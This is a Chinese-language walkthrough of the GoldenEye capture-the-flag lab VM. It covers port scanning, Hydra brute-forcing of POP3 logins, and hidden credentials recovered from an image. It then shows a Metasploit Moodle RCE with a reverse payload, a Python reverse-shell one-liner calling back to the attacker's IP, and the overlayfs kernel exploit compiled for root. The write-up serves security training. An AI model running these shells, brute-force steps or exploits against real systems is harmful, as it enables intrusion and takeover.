【原创】项目一GoldenEye
实战流程
1,通过nmap查找本段IP中存活的机器
┌──(root㉿whoami)-[/home/whoami/Desktop]
└─# nmap -sP 192.168.186.0/24
排查网关和已知地址,得出靶机的ip是192.168.186.138,接下来扫描端口
┌──(root㉿whoami)-[/home/whoami/Desktop]
└─# nmap 192.168.186.138
访问80端口的页面
2,根据提示进行访问,发现需要用户名和密码
3,那就继续返回主页想办法找用户名和密码
js中提供了3个关键信息,一段url编码和2个用户名
获得用户名:
boris
natalya
获得密码:InvincibleHack3r
密码url decode下
InvincibleHack3r
逐个尝试,发现最终账号密码
boris/InvincibleHack3r
4,观察登陆页面,发现对方已将 pop3 服务配置为在非常高的非默认端口上运行
既然上面说了有非默认的端口在运行一个活动的pop3服务,因此进行nmap全端口扫描
(-p-:全端口扫描 -p3306:仅仅扫描3306端口)
nmap -p- 192.168.186.138
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 04:31 EDT
Nmap scan report for 192.168.186.138 (192.168.186.138)
Host is up (0.00053s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
55006/tcp open unknown
55007/tcp open unknown
MAC Address: 00:0C:29:03:FC:39 (VMware)
发现55006,55007两个开放的端口,扫描端口开启的服务详细信息;
┌──(root㉿whoami)-[/home/whoami/Desktop]
└─# nmap -sS -sV -T5 -A -p55006,55007 192.168.186.138
这段信息看出这两个端口开放了pop3的mail服务的。
7、接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:
echo -e 'natalya\nboris' > heiyu.txt ---将两个用户名写入txt文本中
hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3
经过2~5分钟等待,获得两组账号密码:
[55007][pop3] host: 192.168.4.202 login: natalya password: bird
[55007][pop3] host: 192.168.4.202 login: boris password: secret1!
用户:boris 密码:secret1!
用户:natalya 密码:bird
8、boris通过NC登录pop3查看邮件信封内容枚举:
nc 192.168.186.138 55007 ---登录邮箱
user boris ---登录用户
pass secret1! ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。
natalya用户登录邮件查看信息:
nc 192.168.186.138 55007 ---登录邮箱
user natalya ---登录用户
pass bird ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
9、设置本地HOSTS文件
vim /etc/hosts
192.168.186.138 severnaya-station.com
10、访问severnaya-station.com/gnocertdir地址:
刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。
whatweb severnaya-station.com/gnocertdir ---指纹搜索也行
点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:
用户名:xenia
密码:RCP90rulez!
Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak
11、继续爆破用户名doak的邮件
echo doak > heiyu.txt ---将用户名写入txt文本中
hydra -L heiyu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.186.138 -s 55007 pop3
[55007][pop3] host: 192.168.186.138 login: doak password: goat
获得用户名密码:doak/goat
12、登录doak用户枚举邮件信息
nc 192.168.186.138 55007 ---登录邮箱
user doak ---登录用户
pass goat ---登录密码
list ---查看邮件数量
retr 1 ---查看邮件内容
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
13、使用新的账户密码登录CMS
登录后在:Home / ▶ My home 右边发现: s3cret.txt
另外发现这是Moodle使用的2.2.3版本
Something juicy is located here: /dir007key/for-007.jpg
现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。
14、访问页面:severnaya-station.com/dir007key/for-007.jpg
下载到本地:
wget http://severnaya-station.com/dir007key/for-007.jpg
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)
等查看jpg文件底层内容!
发现了base64编码的隐藏内容eFdpbnRlcjE5OTV4IQ==
使用Burpsuite破解获得密码:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
severnaya-station.com/gnocertdir
进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。
这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。
Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324
15、此版本有许多漏洞利用,由于我们需要在目标计算机上进行shell访问,因此我选择使用远程代码执行(RCE)漏洞利用。
msfconsole ---进入MSF框架攻击界面
search moodle ---查找 moodle类型 攻击的模块
use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.186.130 ---设置:lhost 192.168.4.231(需要本地IP)
exploit ----执行命令
由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改:
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
来到此处,修改PSpellShell然后save!
然后重新exploit继续运行:获得shell
执行tty,因为获得的权限无框架:执行
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
也可以通过python反弹shell,在以下路径中找到path to aspell
Home / ► Site administration / ► Server / ► System paths
反弹shell如下编写
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
开启监听
┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]
└─$ nc -vlp 6666
触发脚本的点路径如下图,点击如图
Home / ► My profile / ► Blogs / ► Add a new entry
此时获取python shell成功
┌──(whoami㉿whoami)-[~/Public/vulhub-master/flink/CVE-2020-17518]
└─$ nc -vlp 6666
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 192.168.186.138.
Ncat: Connection from 192.168.186.138:35301.
/bin/sh: 0: can't access tty; job control turned off
$
以上两种获得shell的方式都可以,2选一即可。
16、内核提权
uname -a 查看权限!
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
谷歌搜索:Linux ubuntu 3.13.0-32 exploit
获得exp版本:37292
https://www.exploit-db.com/exploits/37292
--------------------------------------------------
CVE(CAN) ID: CVE-2015-1328
overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。
Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。
此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。
---------------------------------------------------------------------------
kali搜索下:
searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息
┌──(root㉿whoami)-[/usr/…/exploitdb/exploits/linux/local]
└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc
这个靶场在枚举信息知道:
无法进行GCC编译,需要改下脚本为cc
gedit 37292.c ---文本打开
第143行将gcc改为cc ---编写下
然后在本目录下开启http服务:
python -m SimpleHTTPServer 8082 (python2)
python -m http.server 8082 (python3)
目标主机中下载文件
wget http://192.168.186.130:8082/37292.c ---wget下载http服务下的文件
成功下载后执行cc编译:
cc -o exp 37292.c ---C语言的CC代码编译点c文件
chmod +x exp ---编译成可执行文件,并赋权
./exp ---点杠执行
id ---查看目前权限
发现提权成功
cat /root/.flag.txt ---读取root下的flag信息
获取flag值
脑图汇总
我的难点
1,nmap各种细节用法的使用汇总
2,hydra工具原理的理解
3,图片内容检查工具的熟悉
4,msf中RCE脚本的利用
5,通过内核提权的方法和原理